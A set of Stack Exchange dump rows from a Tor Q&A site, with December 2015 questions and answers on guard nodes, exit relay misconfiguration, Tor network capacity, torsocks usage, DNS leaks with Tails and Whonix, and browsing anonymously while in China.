  <row Id="9248" PostTypeId="2" ParentId="8688" CreationDate="2015-12-17T16:48:20.623" Score="0" Body="&lt;p&gt;This appears to be the result of a misconfiguration of some other software running on a number of Tor exit relays. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's occurring when the destination web server redirects a user to another page on the website. The software on the exit is misinterpreting the redirect request and rewriting the request to port 8123.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure what software is causing this behaviour. The offending exit operators have been informed and have hopefully fix the problem by now.&lt;/p&gt;&#xA;" OwnerUserId="819" LastActivityDate="2015-12-17T16:48:20.623" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9249" PostTypeId="2" ParentId="9239" CreationDate="2015-12-17T16:57:25.707" Score="3" Body="&lt;p&gt;The Tor2Web software includes an &lt;a href=&quot;https://github.com/globaleaks/Tor2web/issues/11&quot; rel=&quot;nofollow&quot;&gt;'X-tor2web'&lt;/a&gt; header in all hidden service requests [1].  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should be able to configure nginx to block requests or show an error page when the request includes a 'X-tor2web' header.  &lt;/p&gt;&#xA;" OwnerUserId="819" LastActivityDate="2015-12-17T16:57:25.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9250" PostTypeId="1" AcceptedAnswerId="9251" CreationDate="2015-12-17T17:09:09.900" Score="3" ViewCount="143" Body="&lt;p&gt;I understand that there may not be an explicit answer to this question, so I am just asking about the likelihood.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take for example the Anonabox Kickstarter project from last year. This project promised to route &quot;all traffic coming out of or going into your computer or network&quot; through the Tor network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This project was quite popular and raised over $585,000 before it was &lt;a href=&quot;http://arstechnica.com/security/2014/10/kickstarter-pulls-anonabox-a-tor-enabled-router-that-raised-over-585000/&quot; rel=&quot;nofollow noreferrer&quot;&gt;cancelled by Kickstarter&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Tor project does also provide instructions for setting an OpenWRT router as a Tor proxy/bridge (as can be seen in &lt;a href=&quot;https://tor.stackexchange.com/questions/4270/openwrt-route-all-the-traffic-through-tor&quot;&gt;this related question&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it made wonder about the capacity problems if a 100,000 users in USA were to use some hardware to route all their home traffic through the Tor network. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the sake of example we can ignore things that are not very common yet, (such as &quot;Smart Home&quot; appliances) and consider just streaming videos from some service like Netflix, besides the everyday traffic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Considering that the Tor network is made of a (relatively limited) amount of servers configured for the specific purpose of supporting the network, would it have the capability to support large scale adoption in this manner?&lt;/p&gt;&#xA;" OwnerUserId="10229" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2015-12-17T18:03:32.593" Title="Performance capacity of Tor network to handle large amount of users watching Netflix" Tags="|performance|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9251" PostTypeId="2" ParentId="9250" CreationDate="2015-12-17T18:03:32.593" Score="3" Body="&lt;p&gt;A very quick, back-of-the-envelope answer...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's take a YouTube or Netflix video to &lt;a href=&quot;https://www.quora.com/How-much-data-does-a-YouTube-video-consume-1&quot; rel=&quot;nofollow&quot;&gt;stream at 4.5 Mb/s&lt;/a&gt;, which is probably higher than average. I'll ignore baseline, non-video traffic for now. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If 100,000 people simultaneously started using Tor for video streaming, that'd be an extra 100,000 * 4.5 Mb/s (= 450,000 Mb/s). That's 450 Gb/s.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;https://metrics.torproject.org/bandwidth.html&quot; rel=&quot;nofollow&quot;&gt;advertised available network bandwidth&lt;/a&gt; is currently around 150 Gb/s. Baseline consumption is about half that, so you have ~75 Gb/s to play with. That's not enough to cover the 450 Gb/s extra traffic from new users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'd expect some of these new users to be interested enough to learn how to run relays, which would help boost the available bandwidth, but it's likely not by enough to cover the difference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So...&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;...would it have the capability to support large scale adoption in&#xA;  this manner?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;... no.&lt;/p&gt;&#xA;" OwnerUserId="1730" LastActivityDate="2015-12-17T18:03:32.593" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9253" PostTypeId="1" CreationDate="2015-12-17T21:58:23.893" Score="7" ViewCount="543" Body="&lt;p&gt;The first node after &quot;my browser&quot; is always the same.&lt;br&gt;&#xA;I am worried to see that even when asking for &quot;new identity&quot; or &quot;new circuit&quot;, it restarts always by the same IP address in France. I have no knowledge on the subject. I only use Tor because my physical security has been compromised by someone who used hacking, among other means, to track me and had not stop to now. My fear is that this node could be not a random node guard but a weak one or even one belonging to the &quot;pirate&quot; team I try to stay hidden from.&#xA;Can someone clarify please between what is really to fear and is not?&lt;/p&gt;&#xA;" OwnerUserId="10234" LastEditorUserId="350" LastEditDate="2015-12-17T22:18:07.873" LastActivityDate="2016-02-13T11:31:33.510" Title="Can somebody force my Tor circuits to always start from his &quot;guard node&quot;, to access my traffic?" Tags="|security|circuit|guard-node|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9254" PostTypeId="2" ParentId="9253" CreationDate="2015-12-17T22:14:00.857" Score="2" Body="&lt;p&gt;You keep using the same guard node for a long time. This is by design.&lt;br&gt;&#xA;See this question: &lt;a href=&quot;https://tor.stackexchange.com/questions/386/why-is-a-longer-guard-rotation-period-with-fewer-guards-better-than-the-other-wa&quot;&gt;Why is a longer guard rotation period with fewer guards better than the other way around?&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even if someone has control of your guard, they can not see your traffic or tamper with it. They can only tell which middle node(s) you use. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Besides, if someone has control over your Tor client so that they can force it to use a guard of their choosing, I imagine you are already compromised to the point that they have much easier options.) &lt;/p&gt;&#xA;" OwnerUserId="350" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2015-12-17T22:14:00.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9256" PostTypeId="2" ParentId="1071" CreationDate="2015-12-17T23:55:20.040" Score="1" Body="&lt;p&gt;&lt;strong&gt;New tor circuit for this site&lt;/strong&gt; under the &quot;Onion icon on top left&quot; on Browser Bundle 5.0.5 gives you a new exit IP for a given domain, which might be enough for some use cases.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tested with TBB + two IP checking domains like &lt;a href=&quot;http://checkip.amazonaws.com/&quot; rel=&quot;nofollow&quot;&gt;http://checkip.amazonaws.com/&lt;/a&gt; and &lt;a href=&quot;http://www.howtofindmyipaddress.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.howtofindmyipaddress.com/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7651" LastActivityDate="2015-12-17T23:55:20.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9257" PostTypeId="2" ParentId="9244" CreationDate="2015-12-18T11:25:49.877" Score="2" Body="&lt;p&gt;I found the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I set up a custom exit node (which is noiseexit01d at &lt;a href=&quot;https://atlas.torproject.org/#details/C6F6B70AD9115C65B618B0AF3FD10B0432626CA9&quot; rel=&quot;nofollow&quot;&gt;atlas.torproject.org&lt;/a&gt;). I enabled &quot;Transparent Proxy&quot; (so you must asume I'm root). That's when I think the problem came from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I deleted that set up and restart the phone, with a random circuit, and I didn't have the problem anymore.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure, however, that's the real problem, but It was removed from now.&lt;/p&gt;&#xA;" OwnerDisplayName="user9394" LastActivityDate="2015-12-18T11:25:49.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9259" PostTypeId="2" ParentId="7318" CreationDate="2015-12-18T17:33:24.953" Score="-1" Body="&lt;p&gt;Simply right click on &quot;Start Tor Browser&quot;. From the list that follows, click on &quot;Run as Administrator&quot;. This should work.&lt;/p&gt;&#xA;" OwnerUserId="10246" LastActivityDate="2015-12-18T17:33:24.953" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9260" PostTypeId="2" ParentId="6146" CreationDate="2015-12-19T00:58:12.407" Score="1" Body="&lt;p&gt;I also noticed that sync feature doesn't always work. Adjusting security level might be helpful. But people think it might be harmful: &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/16488#comment:5&quot; rel=&quot;nofollow&quot;&gt;https://trac.torproject.org/projects/tor/ticket/16488#comment:5&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="167" LastActivityDate="2015-12-19T00:58:12.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9263" PostTypeId="2" ParentId="9230" CreationDate="2015-12-19T17:15:54.153" Score="7" Body="&lt;p&gt;Moreover, you should use &lt;code&gt;torsocks&lt;/code&gt; - built-in utility for working with Tor Network. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;It is designed to prevent any leakage!&lt;/strong&gt; Please, read the man page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;root@localhost:/# torsocks curl XXXXXXXXXXXXXXX.onion&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Otherwise, if you are trying to resolve .onion name to IPv6, you are able to use &lt;code&gt;tor-resolve&lt;/code&gt; utility, it is built-in too:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Syntax: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;root@localhost:/# tor-resolve kpvz7ki2v5agwt35.onion &#xA;fe80:7cd1:5f4e:a9d5:dfe:1976:5edf:4386&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of-course, this IP address it temporary one and can be used only from your &lt;code&gt;localhost&lt;/code&gt; for the limited time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Moreover, your traffic shall be redirected through Tor's transparent proxy connections port - &lt;code&gt;TransPort&lt;/code&gt;, which is always, by default &lt;code&gt;9040&lt;/code&gt;. See the documentation about transparent &amp;amp; isolated proxies on the torproject.org's &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/TorifyHOWTO/IsolatingProxy&quot; rel=&quot;noreferrer&quot;&gt;wiki&lt;/a&gt; site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thereafter, you can use this IP directly with &lt;code&gt;curl&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;anonymous@localhost:/$ curl fe80:7cd1:5f4e:a9d5:dfe:1976:5edf:4386&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or just use .onion domain:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;anonymous@localhost:/$ curl XXXXXXXXXXXXXXX.onion&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="10257" LastEditorUserId="10257" LastEditDate="2015-12-19T17:46:05.100" LastActivityDate="2015-12-19T17:46:05.100" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9265" PostTypeId="1" AcceptedAnswerId="9517" CreationDate="2015-12-19T23:23:22.860" Score="3" ViewCount="431" Body="&lt;p&gt;I run a relay.&lt;br&gt;&#xA;It has a &lt;code&gt;SocksPort&lt;/code&gt; listening, but I don’t use it as a client for anything at the moment. It also hosts a hidden service.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;From time to time I get warnings like this:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;[warn] Your Guard nickname ($F1N63RPR1N7) is failing a very large amount of circuits. Most likely this means the Tor network is overloaded, but it could also mean an attack against you or potentially the guard itself. Success counts are 127/255. Use counts are 96/96. 201 circuits completed, 0 were unusable, 74 collapsed, and 6 timed out. For reference, your timeout cutoff is 60 seconds. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It seems I make a lot of circuits.. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Connections (157 inbound, 149 outbound, 1 hidden, 61 circuit, 1 directory, 1 control):&#xA;(..)&#xA;| aaa.aaa.aaa.aaa        --&amp;gt;  xx.xx.xx.xx (cc)       21.0m (CIRCUIT)&#xA;| |  134.102.200.101 (de)     csUniHB                   1 / Guard&#xA;| |  192.42.116.161 (nl)      Unnamed                   2 / Middle&#xA;| +- xx.xx.xx.xx (cc)         (redacted)                3 / Exit&#xA;| aaa.aaa.aaa.aaa        --&amp;gt;  yy.yy.yy.yy (cc)       21.0m (CIRCUIT)&#xA;| |  134.102.200.101 (de)     csUniHB                   1 / Guard&#xA;| |  212.47.229.2 (fr)        scaletor                  2 / Middle&#xA;| +- yy.yy.yy.yy (cc)         (redacted)                3 / Exit&#xA;| aaa.aaa.aaa.aaa        --&amp;gt;  zz.zz.zz.zz (cc)       21.0m (CIRCUIT)&#xA;| |  46.252.24.56 (de)        thewatch                  1 / Guard&#xA;| |  91.121.23.100 (fr)       0x3d002                   2 / Middle&#xA;| +- zz.zz.zz.zz (cc)         (redacted)                3 / Exit&#xA;(..etc..)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;aaa.aaa.aaa.aaa is the external IP address on my router.&lt;br&gt;&#xA;I have no port forwarded to my socks port.  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;What would cause so many circuits?  &lt;/li&gt;&#xA;&lt;li&gt;Is it probably me that causes the large amount of circuit failures in the guard as per the warning message?  &lt;/li&gt;&#xA;&lt;li&gt;What can I find out / do about it?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="350" LastActivityDate="2016-01-22T02:31:10.983" Title="I'm building lot's of circuits. What could cause this?" Tags="|relays|circuit|client|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9268" PostTypeId="1" CreationDate="2015-12-21T05:02:04.837" Score="0" ViewCount="236" Body="&lt;p&gt;The latest Tor Browser update seems to have disabled streaming video using Adobe flash, resulting in the message &quot;Media not supported on browser. Error code: source media support.&quot; The same happened when I updated Tor on a second computer. Is this a glitch in the updated Tor browser? Is there a way I can return to the previous version?&lt;/p&gt;&#xA;" OwnerUserId="10265" LastActivityDate="2017-04-25T07:04:52.703" Title="Source media support" Tags="|tor-browser-bundle|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9269" PostTypeId="2" ParentId="7497" CreationDate="2015-12-21T05:17:42.103" Score="1" Body="&lt;p&gt;It is not possible to run a private Tor relay, but it is possible to run a hidden service with 1-hop circuits and connect to it with a Tor client running in tor2web mode. However, you need to recompile tor on both machines to change default hidden service circuit hop count (on the server) and enable tor2web mode (on the client).&lt;br&gt;&#xA;Running a bridge seems inappropriate in this case, since you cannot exit directly from a bridge.&lt;/p&gt;&#xA;" OwnerUserId="4894" LastActivityDate="2015-12-21T05:17:42.103" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9272" PostTypeId="1" AcceptedAnswerId="9273" CreationDate="2015-12-22T07:17:55.203" Score="1" ViewCount="76" Body="&lt;p&gt;Is it preferable to call the first relay the &quot;entry&quot; relay or &quot;guard&quot; relay?  I've seen both in the published literature.&lt;/p&gt;&#xA;" OwnerUserId="3242" LastActivityDate="2015-12-22T12:21:35.830" Title="Preferred terms for Tor relay positions" Tags="|relays|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9273" PostTypeId="2" ParentId="9272" CreationDate="2015-12-22T09:58:31.527" Score="3" Body="&lt;p&gt;&quot;Guard node|relay&quot;, &quot;entry node|relay&quot;, or &quot;entry guard&quot; are used interchangeably, but I believe this is actually a conflation of two different ideas.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's possible to turn off the use of guard nodes using the option &lt;code&gt;UseEntryGuards&lt;/code&gt;. If you have the option set (which is the default), you'll use a relay marked with the Guard flag as your first hop. You will therefore be using an &lt;strong&gt;entry guard&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What &lt;em&gt;is&lt;/em&gt; an entry guard, and what's it guarding against? The Tor &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/path-spec.txt&quot; rel=&quot;nofollow&quot;&gt;Path Specification&lt;/a&gt; document has this to say in Section 5:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;We use Guard nodes (also called &quot;helper nodes&quot; in the literature) to&lt;br&gt;&#xA;  prevent certain profiling attacks.  Here's the risk: if we choose&#xA;  entry and   exit nodes at random, and an attacker controls C out of N&#xA;  relays   (ignoring bandwidth), then the   attacker will control the&#xA;  entry and exit node of any given circuit with   probability (C/N)^2. But as we make many different circuits over time,   then the probability that the attacker will see a sample of about (C/N)^2   of our traffic goes to 1.  Since statistical sampling works, the attacker can be sure of learning a profile of our behavior.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;If, on the other hand, we picked an entry node and held it fixed, we&#xA;  would   have probability C/N of choosing a bad entry and being&#xA;  profiled, and   probability (N-C)/N of choosing a good entry and not&#xA;  being profiled.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Note that these paragraphs use the term &quot;entry node&quot; (without the word &quot;guard&quot;) to generically mean the first node in the circuit. We're abstracting ourselves from the specifics.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The same document uses the following terms interchangeably when talking specifically about first-hop nodes that are guarding:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;entry guards&lt;/li&gt;&#xA;&lt;li&gt;guard nodes&lt;/li&gt;&#xA;&lt;li&gt;guards&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Back to the story...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have the &lt;code&gt;UseEntryGuards&lt;/code&gt; option &lt;em&gt;unset&lt;/em&gt;, you won't be using a guard, simply another relay acting as your first hop. (Note that there are still the same &lt;em&gt;number&lt;/em&gt; of hops.) In this case the use of the term &quot;entry guard&quot; or &quot;guard relay&quot; isn't appropriate, and the more generic, non-specific &quot;entry node|relay&quot; would be more accurate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With this all said, I imagine very few people know the &lt;code&gt;UseEntryGuards&lt;/code&gt; option exists, and even fewer turn it off, leading to all terms mentioned above - with and without the word &quot;guard&quot; - to have become conflated and used interchangeably.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's worth noting that the original &lt;a href=&quot;https://svn.torproject.org/svn/projects/design-paper/tor-design.html&quot; rel=&quot;nofollow&quot;&gt;design document&lt;/a&gt; uses none of these terms, instead generalising with the term &quot;onion router&quot; (or, specifically, &quot;OR&quot;), and noting the position in the circuit with a number. e.g. &quot;OR1&quot;, &quot;OR2&quot;, etc.&lt;/p&gt;&#xA;" OwnerUserId="1730" LastEditorUserId="1730" LastEditDate="2015-12-22T12:21:35.830" LastActivityDate="2015-12-22T12:21:35.830" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9274" PostTypeId="1" CreationDate="2015-12-22T13:04:51.810" Score="1" ViewCount="110" Body="&lt;p&gt;I read on the documentation about the security issues on TOR, that it is ok if the website is running on HTTPS, but how about on Orbot and site that is not running on HTTPS?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even if it is running on HTTPS is it 100% sure that the end node can not expose data that is sent out?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am just wondering for the Orbot app maybe even TOR, what if an encryption is added for the data passing back and forth.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1.)Encryption for data&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2.)Onion layers are added&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3.)Onion layer removed&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4.)Decryption&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is similar to what the &quot;HTTPS&quot; is doing, but about for Orbot? And if for example a unique private key is used and AES-256 encrypt dynamically for each browser? Even if a server is compromised, or malicious end node, would it make it more secure?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am just trying to understand and look at why the security part is mentioned a lot through out the internet. And if there are anyway to improve the structure for a more secure experience. &lt;/p&gt;&#xA;" OwnerUserId="10273" LastActivityDate="2015-12-22T17:16:37.567" Title="TOR and Orbot, possibility to add in dynamic AES encryption structure before data is send out?" Tags="|security|encryption|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9275" PostTypeId="2" ParentId="9268" CreationDate="2015-12-22T14:55:20.517" Score="1" Body="&lt;p&gt;Tor browser bundle does not use flash in the browser bundle, it seems to me that you previously had it installed manually (which is not recommended), then the updater naturally overwrites those settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Flash is insecure and is not included in the tor browser bundle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#TBBFlash&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/docs/faq.html.en#TBBFlash&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="112" LastActivityDate="2015-12-22T14:55:20.517" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9276" PostTypeId="2" ParentId="9274" CreationDate="2015-12-22T17:16:37.567" Score="1" Body="&lt;p&gt;No matter how many encryption layers you add, the exit node must always send the data to the final destination (web server) in the same form as your Tor client received it from your application (browser). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Extra end-to-end encryption is only possible if the final destination is 'in on it'. (i.e. https)&lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2015-12-22T17:16:37.567" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9279" PostTypeId="1" CreationDate="2015-12-23T00:31:41.127" Score="4" ViewCount="1598" Body="&lt;p&gt;Recently I've been looking to follow good-practices while browsing the internet (e.g 50%+ of my browsing in through a VPN, 10%+ is through Tor). Now, I am looking to increase my regiment by tinkering with/using security-focused linux distributions (e.g Tails). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I have some concerns:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;There have been recent research articles that focus on deanonymizing Tor (&lt;a href=&quot;https://people.csail.mit.edu/devadas/pubs/circuit_finger.pdf&quot;&gt;https://people.csail.mit.edu/devadas/pubs/circuit_finger.pdf&lt;/a&gt;, &lt;a href=&quot;http://www.nrl.navy.mil/itd/chacs/sites/edit-www.nrl.navy.mil.itd.chacs/files/pdfs/13-1231-3743.pdf&quot;&gt;http://www.nrl.navy.mil/itd/chacs/sites/edit-www.nrl.navy.mil.itd.chacs/files/pdfs/13-1231-3743.pdf&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;li&gt;DNS Leaks are possible via Tor (see: Google - &lt;em&gt;I cannot link more than two URLs if I have reputation &amp;lt; 10 points&lt;/em&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Linux Distro Whonix can protect against DNS leaks by virtualizing the Network Adapter (independently from the work station). &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;My Questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Do Tor Bridges help against DNS leaks?&lt;/li&gt;&#xA;&lt;li&gt;Can Whonix be used in conjunction with another distro such as Tails? Would it be possible to have the Whonix gateway persist on Tails? &lt;/li&gt;&#xA;&lt;li&gt;If Whonix cannot persist on Tails, can the Whonix Gateway be on a bootable USB that is plugged in parallel to Tails and accessed via Tails UI? &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Note: I understand Tails is all about amnesia, but I am inquiring if there is a client-side capability to write to Tails or access Whonix Gateway through another USB port on the host computer.&lt;/p&gt;&#xA;" OwnerUserId="10279" LastActivityDate="2016-03-14T04:02:37.297" Title="Tor, Bridges, and DNS Leaks" Tags="|tails|bridge|whonix|dns|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9283" PostTypeId="2" ParentId="9279" CreationDate="2015-12-24T18:46:49.123" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;Tor Bridges are just common relays but &quot;hidden&quot;, not published in public directory so there's no difference, Tor Bridges doesn't help against DNS Leaks. Tor Bridges are for people that can't access Tor network because their ISP blocks Tor connections.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The answers to 2 and 3 will be too long because we've to evaluate a lot of things, that someone had already evaluated so you can go &lt;a href=&quot;https://www.whonix.org/wiki/Comparison_with_Others&quot; rel=&quot;nofollow&quot; title=&quot;comparison&quot;&gt;here&lt;/a&gt; and you'll find want you need with a good explanation.&#xA;But,&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;Whonix gateway act like a gateway, so at this point there is no difference;&#xA;there is some &quot;little&quot; difference for DNS Leaks, Whonix has an isolated workstation and Tails need some shrewdness, more &lt;a href=&quot;https://tails.boum.org/contribute/design/Tor_enforcement/DNS/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Whonix gateway will protect only the Whonix workstation, not the host that host Whonix itself (more &lt;a href=&quot;https://www.whonix.org/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerDisplayName="user3524" LastActivityDate="2015-12-24T18:46:49.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9284" PostTypeId="2" ParentId="9279" CreationDate="2015-12-25T03:29:02.097" Score="0" Body="&lt;p&gt;Incorrect answer from @Pielco11 !&#xA;1. Tor Bridges are actually in database, unless the bridge is explicitly configured not to be published in &lt;code&gt;torrc&lt;/code&gt; config file by line &lt;code&gt;PublishServerDescriptor 0&lt;/code&gt; - see (manual)[&lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en]&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/docs/tor-manual.html.en]&lt;/a&gt;&#xA;2. DNS leak happens not in a bridge, exitnode or tor itself - all theese parts of the system simply CAN NOT leak the DNS information. The leak actually happens at the point where you're encapsulating your request into Tor : proxy, firewall, etc... The request just 'slips out' your request forwarding mechanism = 'leaks'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So - what you're really need to do is to draw a schematics for your traffic routing and implement it with PROPERLY configured PROPER tools for your PARTICULAR purposes. Use either polipo for http+https, or firewall rules. Feel fee to ask, because I'm developing an out-of-the-box solution for it right now.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2015-12-25T03:29:02.097" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9285" PostTypeId="2" ParentId="9238" CreationDate="2015-12-25T21:32:43.417" Score="0" Body="&lt;p&gt;You should set different &lt;code&gt;SocksPort&lt;/code&gt;s for each Tor in torrc-defaults.&lt;br&gt;&#xA;Then, for each browser, you should set the socks port to match in Settings -&gt; Advanced -&gt; Network -&gt; Connection Settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All your Tor clients are trying to open the same &lt;code&gt;SocksPort&lt;/code&gt;. 9150.&lt;br&gt;&#xA;The first one that starts up 'wins'. You should see in the log of the 2nd Tor that it is unable to bind the socks port.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When they each listen to their own socks port, then each browser can connect to its own Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They also try to open the same &lt;code&gt;ControlPort&lt;/code&gt;, but I don't know where to change that in the browser. This means that 'new circuit/identity' won't work, but in your case that matters little as you're restricted to 1 exit anyway.  &lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2015-12-25T21:32:43.417" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9286" PostTypeId="1" CreationDate="2015-12-26T06:36:25.660" Score="0" ViewCount="826" Body="&lt;p&gt;I am planning a trip to China soon and would like to be pretty much invisible while on the internet.  Does TOR keep me safe from the &quot;Internet Watchers?&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not planning any illegal or immoral things.  I just want to make sure that if THEY have a problem with the websites I visit and my private emails they can't find me and hassle me.  I plan to use the TOR browser in default mode just as downloaded.  Also, I plan to use it on an old Windows XP laptop machine just in case it gets confiscated for some reason.  Is this a mistake?&lt;/p&gt;&#xA;" OwnerUserId="10306" LastActivityDate="2015-12-26T09:50:55.733" Title="Anonymity in China" Tags="|anonymity|security|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
